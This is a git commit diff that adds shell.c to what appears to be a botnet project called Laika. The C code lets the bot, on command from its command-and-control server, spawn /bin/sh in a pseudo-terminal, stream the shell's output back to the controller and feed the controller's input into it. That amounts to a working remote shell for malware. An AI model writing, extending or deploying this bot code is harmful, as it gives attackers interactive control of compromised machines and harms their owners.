Added LAIKAPKT_SHELL_*, fixed variadic packets

- added bot/shell.[ch] - simple demo cnc which runs 'ls -a' on the connect peer
2026-01-22 10:00:05 +00:00 · 2022-02-21 17:25:49 -06:00
parent 02c3176bc4
commit 5c31fb861b
10 changed files with 322 additions and 42 deletions
--- a/bot/src/shell.c
+++ b/bot/src/shell.c
@@ -0,0 +1,156 @@
+#include <unistd.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <pty.h>
+
+#include "lerror.h"
+#include "lmem.h"
+#include "bot.h"
+#include "shell.h"
+
+struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) {
+    struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
+    shell->id = id;
+
+    shell->pid = forkpty(&shell->fd, NULL, NULL, NULL);
+
+    if (shell->pid == 0) {
+        /* child process, clone & run shell */
+        execlp("/bin/sh", "sh", (char*) NULL);
+        exit(0);
+    }
+
+    /* make sure our calls to read() & write() do not block */
+    if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
+        laikaB_freeShell(bot, shell);
+        LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
+    }
+
+    bot->shells[id] = shell;
+    return shell;
+}
+
+void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    /* kill the shell */
+    kill(shell->pid, SIGTERM);
+    close(shell->fd);
+
+    bot->shells[shell->id] = NULL;
+
+    laikaM_free(shell);
+}
+
+bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    struct sLaika_peer *peer = bot->peer;
+    struct sLaika_socket *sock = &peer->sock;
+
+    int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
+
+    if (rd > 0) {
+        /* we read some input! send to cnc */
+        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
+        laikaS_writeByte(sock, shell->id);
+        laikaS_write(sock, readBuf, rd);
+        laikaS_endVarPacket(peer);
+    } else if (rd == -1) {
+        if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
+            return true; /* recoverable, there was no data to read */
+        /* not EWOULD or EAGAIN, must be an error! so close the shell */
+
+        /* tell cnc shell is closed */
+        laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+        laikaS_writeByte(sock, shell->id);
+        laikaS_endOutPacket(peer);
+
+        /* kill shell */
+        laikaB_freeShell(bot, shell);
+        return false;
+    }
+
+    return true;
+}
+
+bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
+    struct sLaika_peer *peer = bot->peer;
+    struct sLaika_socket *sock = &peer->sock;
+    size_t nLeft;
+    int nWritten;
+
+    nLeft = length;
+    while (nLeft > 0) {
+        if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
+            /* some error occurred */
+            if (length == nLeft) {
+                /* unrecoverable error */
+
+                /* tell cnc shell is closed */
+                laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+                laikaS_writeByte(sock, shell->id);
+                laikaS_endOutPacket(peer);
+
+                /* kill shell */
+                laikaB_freeShell(bot, shell);
+                return false;
+            } else { /* recoverable */
+                break;
+            }
+        } else if (nWritten == 0) {
+            break;
+        }
+        nLeft -= nWritten;
+        buf += nWritten;
+    }
+
+    return true;
+}
+
+/* ================================================[[ Handlers ]]================================================ */
+
+void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+    uint8_t id = laikaS_readByte(&peer->sock);
+
+    /* check if shell id is in use */
+    if (id >= LAIKA_MAX_SHELLS || bot->shells[id])
+        LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested invalid id! [%d]\n", id);
+
+    /* open shell */
+    laikaB_newShell(bot, id);
+}
+
+void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+    uint8_t id = laikaS_readByte(&peer->sock);
+
+    /* check if shell id is in use */
+    if (id >= LAIKA_MAX_SHELLS || bot->shells[id] == NULL)
+        LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested invalid id! [%d]\n", id);
+
+    /* close shell */
+    laikaB_freeShell(bot, bot->shells[id]);
+}
+
+void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+    struct sLaika_shell *shell;
+    uint8_t id;
+
+    if (sz <= 1 || sz > (LAIKA_SHELL_DATA_MAX_LENGTH + 1))
+        LAIKA_ERROR("malformed LAIKAPKT_SHELL_DATA!\n");
+
+    id = laikaS_readByte(&peer->sock);
+
+    /* sanity check id & validate shell */
+    if (id >= LAIKA_MAX_SHELLS || (shell = bot->shells[id]) == NULL)
+        LAIKA_ERROR("LAIKAPKT_SHELL_DATA sent invalid id! [%d]\n", id)
+
+    /* read data buf */
+    laikaS_read(&peer->sock, buf, sz - 1);
+
+    /* write to shell */
+    laikaB_writeShell(bot, shell, buf, sz - 1);
+}